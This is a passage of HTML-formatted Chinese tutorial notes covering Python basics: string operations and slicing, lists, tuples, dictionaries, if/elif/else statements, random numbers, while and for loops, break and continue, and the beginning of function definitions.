&lt;p&gt;​        3.如果字符串内部需要使用 &lt;strong&gt;&quot;&lt;/strong&gt;，可以使用 &lt;strong&gt;&apos;&lt;/strong&gt; 定义字符串
​        4.如果字符串内部需要使用 &lt;strong&gt;&apos;&lt;/strong&gt;，可以使用 &lt;strong&gt;&quot;&lt;/strong&gt; 定义字符串&lt;/p&gt;
&lt;p&gt;5.可以使用 &lt;strong&gt;索引&lt;/strong&gt; 获取一个字符串中 &lt;strong&gt;指定位置的字符&lt;/strong&gt;，索引计数从 0 开始&lt;/p&gt;
&lt;p&gt;6.也可以使用 &lt;strong&gt;for 循环遍历&lt;/strong&gt; 字符串中每一个字符&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;大多数编程语言都是用 &lt;code&gt;&quot;&lt;/code&gt; 来定义字符串&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;string = &quot;Hello Python&quot;

for c in string:
    print(c)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-09-python-crawler-osint/b0de99dc3d-20210208184852284.png&quot; alt=&quot;20210208184852284&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h5&gt;（二）字符串的常用操作&lt;/h5&gt;
&lt;h6&gt;（1）判断类型&lt;/h6&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-09-python-crawler-osint/3eed943052-1698936815651.png&quot; alt=&quot;1698936815651&quot; /&gt;&lt;/p&gt;
&lt;h6&gt;（2）查找和替换&lt;/h6&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-09-python-crawler-osint/9a813b6015-1698936857817.png&quot; alt=&quot;1698936857817&quot; /&gt;&lt;/p&gt;
&lt;h6&gt;（3）大小写转换&lt;/h6&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-09-python-crawler-osint/419a583861-1698936888820.png&quot; alt=&quot;1698936888820&quot; /&gt;&lt;/p&gt;
&lt;h6&gt;（4）文本对齐&lt;/h6&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-09-python-crawler-osint/125846b4b8-1698936932097.png&quot; alt=&quot;1698936932097&quot; /&gt;&lt;/p&gt;
&lt;h6&gt;（5）去除空白字符&lt;/h6&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-09-python-crawler-osint/902684c9ee-1698936970900.png&quot; alt=&quot;1698936970900&quot; /&gt;&lt;/p&gt;
&lt;h6&gt;（6）拆分和连接&lt;/h6&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-09-python-crawler-osint/55bcd2c8f0-1698937021307.png&quot; alt=&quot;1698937021307&quot; /&gt;&lt;/p&gt;
&lt;h6&gt;（7）字符串的切片&lt;/h6&gt;
&lt;p&gt;&lt;strong&gt;切片&lt;/strong&gt; 方法适用于 &lt;strong&gt;字符串&lt;/strong&gt;、&lt;strong&gt;列表&lt;/strong&gt;、&lt;strong&gt;元组&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;切片&lt;/strong&gt; 使用 &lt;strong&gt;索引值&lt;/strong&gt; 来限定范围，从一个大的 &lt;strong&gt;字符串&lt;/strong&gt; 中 &lt;strong&gt;切出&lt;/strong&gt; 小的 &lt;strong&gt;字符串&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;列表&lt;/strong&gt; 和 &lt;strong&gt;元组&lt;/strong&gt; 都是 &lt;strong&gt;有序&lt;/strong&gt; 的集合，都能够 &lt;strong&gt;通过索引值&lt;/strong&gt; 获取到对应的数据&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;字典&lt;/strong&gt; ： &lt;strong&gt;无序&lt;/strong&gt; 集合，使用 &lt;strong&gt;键值对&lt;/strong&gt; 保存数据&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-09-python-crawler-osint/fe72718063-20210208184804527.png&quot; alt=&quot;20210208184804527&quot; style=&quot;zoom:50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;字符串[开始索引:结束索引:步长]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;注意：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;1.指定的区间属于 &lt;strong&gt;左闭右开&lt;/strong&gt; 型 &lt;strong&gt;[开始索引, 结束索引)&lt;/strong&gt; =&amp;gt; &lt;strong&gt;开始索引 &amp;gt;= 范围 &amp;lt; 结束索引&lt;/strong&gt;
从 &lt;strong&gt;起始&lt;/strong&gt; 位开始，到 &lt;strong&gt;结束&lt;/strong&gt; &lt;strong&gt;位的前一位&lt;/strong&gt; 结束**（不包含结束位本身)**
2.从头开始，&lt;strong&gt;开始索引 数字可以省略，冒号不能省略&lt;/strong&gt;
3.到末尾结束，&lt;strong&gt;结束索引 数字可以省略，冒号不能省略&lt;/strong&gt;
4.步长默认为 &lt;strong&gt;1&lt;/strong&gt;，如果连续切片，&lt;strong&gt;数字和冒号都可以省略&lt;/strong&gt;&lt;/p&gt;
&lt;h6&gt;（8）索引的顺序和倒序&lt;/h6&gt;
&lt;p&gt;1.在 Python 中支持 &lt;strong&gt;顺序索引&lt;/strong&gt;，还支持 &lt;strong&gt;倒序索引&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;2.所谓倒序索引就是 &lt;strong&gt;从右向左&lt;/strong&gt; 计算索引
最右边的索引值是 &lt;strong&gt;-1&lt;/strong&gt;，依次递减&lt;/p&gt;
&lt;h3&gt;5、列表&lt;/h3&gt;
&lt;h4&gt;（一）列表的定义&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;List&lt;/code&gt;（列表） 是 &lt;code&gt;Python&lt;/code&gt; 中使用 &lt;strong&gt;最频繁&lt;/strong&gt; 的数据类型，在其他语言中通常叫做 &lt;strong&gt;数组&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;专门用于存储 &lt;strong&gt;一串 信息&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;列表用 &lt;code&gt;[]&lt;/code&gt; 定义，&lt;strong&gt;数据&lt;/strong&gt; 之间使用 &lt;code&gt;,&lt;/code&gt; 分隔&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;列表的 **索引 **从 &lt;strong&gt;0&lt;/strong&gt; 开始&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;索引&lt;/strong&gt; 就是数据在 &lt;strong&gt;列表&lt;/strong&gt; 中的位置编号，&lt;strong&gt;索引&lt;/strong&gt; 又可以被称为 &lt;strong&gt;下标&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;注意：从列表中取值时，如果 &lt;strong&gt;超出索引范围&lt;/strong&gt;，程序会报错&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-09-python-crawler-osint/b92ba4bf2b-20210208184934384.png&quot; alt=&quot;20210208184934384&quot; style=&quot;zoom: 33%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h4&gt;（二）列表常用操作&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;定义一个 &lt;strong&gt;列表&lt;/strong&gt;，例如：&lt;code&gt;name_list = []&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-09-python-crawler-osint/086bd56910-1698937537798.png&quot; alt=&quot;1698937537798&quot; style=&quot;zoom:50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h4&gt;（三）关键字（科普）&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;使用 &lt;code&gt;del&lt;/code&gt; 关键字(&lt;code&gt;delete&lt;/code&gt;) 同样可以删除列表中元素&lt;/li&gt;
&lt;li&gt;&lt;code&gt;del&lt;/code&gt; 关键字本质上是用来 &lt;strong&gt;将一个变量从内存中删除的&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;如果使用 &lt;code&gt;del&lt;/code&gt; 关键字将变量从内存中删除，后续的代码就不能再使用这个变量了&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;del name_list[1]
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;（四）循环遍历&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;遍历&lt;/strong&gt; 就是 &lt;strong&gt;从头到尾&lt;/strong&gt; &lt;strong&gt;依次&lt;/strong&gt; 从 &lt;strong&gt;列表&lt;/strong&gt; 中获取数据
&lt;ul&gt;
&lt;li&gt;在 &lt;strong&gt;循环体内部&lt;/strong&gt; 针对 &lt;strong&gt;每一个元素&lt;/strong&gt;，执行相同的操作&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;在 &lt;code&gt;Python&lt;/code&gt; 中为了提高列表的遍历效率，专门提供的 &lt;strong&gt;迭代 iteration 遍历&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;使用 &lt;code&gt;for&lt;/code&gt; 就能够实现迭代遍历&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;# for 循环内部使用的变量 in 列表
for name in name_list:

    循环内部针对列表元素进行操作
    print(name)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;6、元组&lt;/h3&gt;
&lt;h4&gt;（一）元组的定义&lt;/h4&gt;
&lt;p&gt;1.**Tuple（元组）**与列表类似，区别：元组的 &lt;strong&gt;元素不能修改&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;​    &lt;strong&gt;元组&lt;/strong&gt; 表示多个元素组成的序列
​    &lt;strong&gt;元组&lt;/strong&gt; 在 &lt;strong&gt;Python&lt;/strong&gt; 开发中，有特定的应用场景&lt;/p&gt;
&lt;p&gt;2.用于存储 &lt;strong&gt;一串 信息&lt;/strong&gt;，&lt;strong&gt;数据&lt;/strong&gt; 之间使用 &lt;strong&gt;,&lt;/strong&gt; 分隔&lt;/p&gt;
&lt;p&gt;3.元组用 &lt;strong&gt;()&lt;/strong&gt; 定义&lt;/p&gt;
&lt;p&gt;4.元组的 索引 从 &lt;strong&gt;0&lt;/strong&gt; 开始
&lt;strong&gt;索引&lt;/strong&gt; 就是数据在 &lt;strong&gt;元组&lt;/strong&gt; 中的位置编号&lt;/p&gt;
&lt;p&gt;元组中 &lt;strong&gt;只包含一个元素&lt;/strong&gt; 时，需要 &lt;strong&gt;在元素后面添加逗号&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;info_tuple = (50, )
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-09-python-crawler-osint/6e9eb345c3-2021020818502171.png&quot; alt=&quot;2021020818502171&quot; style=&quot;zoom:33%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h4&gt;（二）元组常用操作&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;定义一个 &lt;strong&gt;元组&lt;/strong&gt;，eg：&lt;code&gt;info = ()&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;（1）循环遍历&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;取值&lt;/strong&gt; 就是从 &lt;strong&gt;元组&lt;/strong&gt; 中获取存储在指定位置的数据&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;遍历&lt;/strong&gt; 就是 &lt;strong&gt;从头到尾&lt;/strong&gt; &lt;strong&gt;依次&lt;/strong&gt; 从 &lt;strong&gt;元组&lt;/strong&gt; 中获取数据&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;# for 循环内部使用的变量 in 元组
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在 &lt;code&gt;Python&lt;/code&gt; 中，可以使用 &lt;code&gt;for&lt;/code&gt; 循环遍历所有非数字型类型的变量：&lt;strong&gt;列表&lt;/strong&gt;、&lt;strong&gt;元组&lt;/strong&gt;、&lt;strong&gt;字典&lt;/strong&gt; 以及 &lt;strong&gt;字符串&lt;/strong&gt;&lt;/p&gt;
&lt;h5&gt;（2）应用场景&lt;/h5&gt;
&lt;p&gt;1.尽管可以使用 &lt;strong&gt;for in&lt;/strong&gt; 遍历 &lt;strong&gt;元组&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;2.在开发中应用场景是：&lt;/p&gt;
&lt;p&gt;​    &lt;strong&gt;函数的 参数 和 返回值&lt;/strong&gt;，一个函数可以接收 &lt;strong&gt;任意多个参数&lt;/strong&gt;，或者 &lt;strong&gt;一次返回多个数据&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;3.有关 &lt;strong&gt;函数的参数&lt;/strong&gt; 和 &lt;strong&gt;返回值&lt;/strong&gt;，在后续 &lt;strong&gt;函数高级&lt;/strong&gt; 给大家介绍&lt;/p&gt;
&lt;p&gt;​    		&lt;strong&gt;格式字符串&lt;/strong&gt;，格式化字符串后面的 &lt;strong&gt;()&lt;/strong&gt; 本质上就是一个元组&lt;/p&gt;
&lt;p&gt;​    		&lt;strong&gt;让列表不可以被修改&lt;/strong&gt;，以保护数据安全&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;info = (&quot;zhangsan&quot;, 18)

print(&quot;%s 的年龄是 %d&quot; % info)
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;（三）元组和列表之间的转换&lt;/h4&gt;
&lt;p&gt;使用 &lt;code&gt;list&lt;/code&gt; 函数可以把元组转换成列表&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;list(元组) 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用 &lt;code&gt;tuple&lt;/code&gt; 函数可以把列表转换成元组&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;tuple(列表)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;7、字典&lt;/h3&gt;
&lt;h4&gt;（一）字典的定义&lt;/h4&gt;
&lt;p&gt;1.&lt;strong&gt;dictionary（字典）&lt;/strong&gt; 是 除列表以外 &lt;strong&gt;Python&lt;/strong&gt; 之中 &lt;strong&gt;最灵活&lt;/strong&gt; 的数据类型&lt;/p&gt;
&lt;p&gt;2.字典同样可以用来 &lt;strong&gt;存储多个数据&lt;/strong&gt;
通常用于存储 描述一个 &lt;strong&gt;物体&lt;/strong&gt; 的相关信息&lt;/p&gt;
&lt;p&gt;3.和列表的区别
&lt;strong&gt;列表&lt;/strong&gt; 是 &lt;strong&gt;有序&lt;/strong&gt; 的对象集合
&lt;strong&gt;字典&lt;/strong&gt; 是 &lt;strong&gt;无序&lt;/strong&gt; 的对象集合&lt;/p&gt;
&lt;p&gt;4.字典用 &lt;strong&gt;{}&lt;/strong&gt; 定义&lt;/p&gt;
&lt;p&gt;5.字典使用 &lt;strong&gt;键值对&lt;/strong&gt; 存储数据，键值对之间使用 &lt;strong&gt;,&lt;/strong&gt; 分隔
键 &lt;strong&gt;key&lt;/strong&gt; 是索引
值 &lt;strong&gt;value&lt;/strong&gt; 是数据
&lt;strong&gt;键&lt;/strong&gt; 和 &lt;strong&gt;值&lt;/strong&gt; 之间使用 &lt;strong&gt;:&lt;/strong&gt; 分隔
&lt;strong&gt;键必须是唯一的&lt;/strong&gt;
&lt;strong&gt;值&lt;/strong&gt; 可以取任何数据类型，但 &lt;strong&gt;键&lt;/strong&gt; 只能使用 &lt;strong&gt;字符串、数字&lt;/strong&gt;或 &lt;strong&gt;元组&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;xiaoming = {&quot;name&quot;: &quot;小明&quot;,
            &quot;age&quot;: 18,
            &quot;gender&quot;: True,
            &quot;height&quot;: 1.75}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-09-python-crawler-osint/65aebab9bd-20210208185104918.png&quot; alt=&quot;20210208185104918&quot; style=&quot;zoom:33%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h4&gt;（二）字典常用操作&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;定义一个 &lt;strong&gt;字典&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;zidian = {}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;常用操作在上图&lt;/p&gt;
&lt;h4&gt;（三）循环遍历&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;遍历&lt;/strong&gt; 就是 &lt;strong&gt;依次&lt;/strong&gt; 从 &lt;strong&gt;字典&lt;/strong&gt; 中获取所有键值对&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;# for 循环内部使用的 `key 的变量` in 字典
for k in xiaoming:

    print(&quot;%s: %s&quot; % (k, xiaoming[k]))
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;8、判断语句（if）&lt;/h3&gt;
&lt;h4&gt;（一）基本语法&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;if 要判断的条件:
    条件成立时，要做的事情
    ……
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;注&lt;/strong&gt;：&lt;code&gt;if&lt;/code&gt; 语句以及缩进部分是一个 &lt;strong&gt;完整的代码块&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;（二）else 处理条件不满足的情况&lt;/h4&gt;
&lt;p&gt;格式如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if 要判断的条件:
    条件成立时，要做的事情
    ……
else:
    条件不成立时，要做的事情
    ……
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;注&lt;/strong&gt;：&lt;code&gt;if&lt;/code&gt; 和 &lt;code&gt;else&lt;/code&gt; 语句以及各自的缩进部分共同是一个 &lt;strong&gt;完整的代码块&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;（三）逻辑运算&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;通常 &lt;strong&gt;在判断条件时&lt;/strong&gt;，会需要同时判断多个条件&lt;/li&gt;
&lt;li&gt;只有多个条件都满足，才能够执行后续代码&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;逻辑运算符&lt;/strong&gt; 可以把 &lt;strong&gt;多个条件&lt;/strong&gt; 按照 &lt;strong&gt;逻辑&lt;/strong&gt; 进行 &lt;strong&gt;连接&lt;/strong&gt;，变成 &lt;strong&gt;更复杂的条件&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Python 中的 &lt;strong&gt;逻辑运算符&lt;/strong&gt; 包括：&lt;strong&gt;与 and&lt;/strong&gt;／&lt;strong&gt;或 or&lt;/strong&gt;／&lt;strong&gt;非 not&lt;/strong&gt; 三种&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;（1） &lt;code&gt;and&lt;/code&gt;&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;条件1 and 条件2
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;与&lt;/strong&gt;／&lt;strong&gt;并且&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;两个条件同时满足，返回 &lt;code&gt;True&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;只要有一个不满足，就返回 &lt;code&gt;False&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;（2） &lt;code&gt;or&lt;/code&gt;&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;条件1 or 条件2
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;或&lt;/strong&gt;／&lt;strong&gt;或者&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;两个条件只要有一个满足，返回 &lt;code&gt;True&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;两个条件都不满足，返回 &lt;code&gt;False&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;（3） &lt;code&gt;not&lt;/code&gt;&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;not 条件
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;非&lt;/strong&gt;／&lt;strong&gt;不是&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;（四）if语句进阶&lt;/h4&gt;
&lt;h5&gt;（1）&lt;code&gt;elif&lt;/code&gt;&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;语法格式如下：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if 条件1:
    条件1满足执行的代码
    ……
elif 条件2:
    条件2满足时，执行的代码
    ……
elif 条件3:
    条件3满足时，执行的代码
    ……
else:
    以上条件都不满足时，执行的代码
    ……
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;对比逻辑运算符的代码&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if 条件1 and 条件2:
    条件1满足 并且 条件2满足 执行的代码
    ……
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;注:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;elif&lt;/code&gt; 和 &lt;code&gt;else&lt;/code&gt; 都必须和 &lt;code&gt;if&lt;/code&gt; 联合使用，而不能单独使用&lt;/li&gt;
&lt;li&gt;可以将 &lt;code&gt;if&lt;/code&gt;、&lt;code&gt;elif&lt;/code&gt; 和 &lt;code&gt;else&lt;/code&gt; 以及各自缩进的代码，看成一个 &lt;strong&gt;完整的代码块&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h5&gt;（2）&lt;code&gt;if&lt;/code&gt; 嵌套&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;语法格式如下：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;if 条件 1:
    条件 1 满足执行的代码
    ……
    
    if 条件 1 基础上的条件 2:
        条件 2 满足时，执行的代码
        ……    
        
    # 条件 2 不满足的处理
    else:
        条件 2 不满足时，执行的代码
        
# 条件 1 不满足的处理
else:
    条件1 不满足时，执行的代码
    ……
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;（3）随机数的处理&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;要使用随机数，先导入 &lt;strong&gt;随机数&lt;/strong&gt; 的 &lt;strong&gt;模块&lt;/strong&gt; —— “工具包”&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;import random	#引入随机数random模块包
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;导入模块后，可以直接在 &lt;strong&gt;模块名称&lt;/strong&gt; 后面敲一个 &lt;code&gt;.&lt;/code&gt; 然后按 &lt;code&gt;Tab&lt;/code&gt; 键，会提示该模块中包含的所有函数&lt;/li&gt;
&lt;li&gt;&lt;code&gt;random.randint(a, b)&lt;/code&gt; ，返回 &lt;code&gt;[a, b]&lt;/code&gt; 之间的整数，包含 &lt;code&gt;a&lt;/code&gt; 和 &lt;code&gt;b&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;random.randint(12, 20)  # 生成的随机数n: 12 &amp;lt;= n &amp;lt;= 20   

random.randint(20, 20)  # 结果永远是 20   

random.randint(20, 10)  # 错误，下限必须小于上限
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;9、while循环&lt;/h3&gt;
&lt;h4&gt;（一）while循环&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;初始条件设置 —— 通常是重复执行的 计数器

while 条件(判断 计数器 是否达到 目标次数):
    条件满足时，做的事情1
    条件满足时，做的事情2
    条件满足时，做的事情3
    ...(省略)...
    
    处理条件(计数器 + 1)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;while&lt;/code&gt; 语句以及缩进部分是一个 &lt;strong&gt;完整的代码块&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;注意：循环结束后，之前定义的计数器条件的数值是依旧存在的&lt;/strong&gt;&lt;/p&gt;
&lt;h4&gt;（二）for循环&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;语法：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;for 变量 in 集合:
    
    循环体代码
else:
    没有通过 break 退出循环，循环结束后，会执行的代码
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;应用场景&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;在 &lt;strong&gt;迭代遍历&lt;/strong&gt; 嵌套的数据类型时，例如 &lt;strong&gt;一个列表包含了多个字典&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;需求：要判断 某一个字典中 是否存在 指定的 值
&lt;ul&gt;
&lt;li&gt;如果 &lt;strong&gt;存在&lt;/strong&gt;，提示并且退出循环&lt;/li&gt;
&lt;li&gt;如果 &lt;strong&gt;不存在&lt;/strong&gt;，在 &lt;strong&gt;循环整体结束&lt;/strong&gt; 后，希望 &lt;strong&gt;得到一个统一的提示&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;（三）Python 中的计数方法&lt;/h4&gt;
&lt;p&gt;常见的计数方法有两种：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;自然计数法&lt;/strong&gt;（从 &lt;code&gt;1&lt;/code&gt; 开始）—— 更符合人类的习惯&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;程序计数法&lt;/strong&gt;（从 &lt;code&gt;0&lt;/code&gt; 开始）—— 几乎所有的程序语言都选择从 0 开始计数&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;因此&lt;strong&gt;除非需求的特殊要求，否则 循环 的计数都从 0 开始&lt;/strong&gt;&lt;/p&gt;
&lt;h4&gt;（四）循环计算&lt;/h4&gt;
&lt;p&gt;在程序开发中，通常会遇到 &lt;strong&gt;利用循环&lt;/strong&gt; &lt;strong&gt;重复计算&lt;/strong&gt; 的需求&lt;/p&gt;
&lt;p&gt;遇到这种需求，可以：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;在 &lt;code&gt;while&lt;/code&gt; 上方定义一个变量，用于 &lt;strong&gt;存放最终计算结果&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;在循环体内部，每次循环都用 &lt;strong&gt;最新的计算结果&lt;/strong&gt;，&lt;strong&gt;更新&lt;/strong&gt; 之前定义的变量&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;（五）break 和 continue&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;break&lt;/code&gt; 和 &lt;code&gt;continue&lt;/code&gt; 是专门在循环中使用的关键字&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;break&lt;/code&gt; &lt;strong&gt;某一条件满足时&lt;/strong&gt;，退出循环，不再执行后续重复的代码&lt;/li&gt;
&lt;li&gt;&lt;code&gt;continue&lt;/code&gt; &lt;strong&gt;某一条件满足时&lt;/strong&gt;，不执行后续重复的代码（容易出现死循环）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;break&lt;/code&gt; 和 &lt;code&gt;continue&lt;/code&gt; 只针对 &lt;strong&gt;当前所在循环&lt;/strong&gt; 有效&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;循环也可以嵌套&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;10、函数&lt;/h3&gt;
&lt;h4&gt;（一）函数基础&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;函数&lt;/strong&gt;：将 &lt;strong&gt;具有独立功能的代码块&lt;/strong&gt; 封装为一个小模块，在需要时 &lt;strong&gt;调用&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;函数的使用包含两个步骤（先封装、后使用）：
&lt;ol&gt;
&lt;li&gt;定义函数 —— &lt;strong&gt;封装&lt;/strong&gt; 独立的功能&lt;/li&gt;
&lt;li&gt;调用函数 —— 享受 &lt;strong&gt;封装&lt;/strong&gt; 的成果&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;函数的作用&lt;/strong&gt; ：提高编写的效率以及代码的 &lt;strong&gt;重复使用&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;（二）函数基本使用&lt;/h4&gt;
&lt;h5&gt;（1）函数的定义&lt;/h5&gt;
&lt;p&gt;定义函数格式：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def 函数名():
    函数封装的代码
    ……
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;def&lt;/code&gt; 是英文 &lt;code&gt;define&lt;/code&gt; 的缩写&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
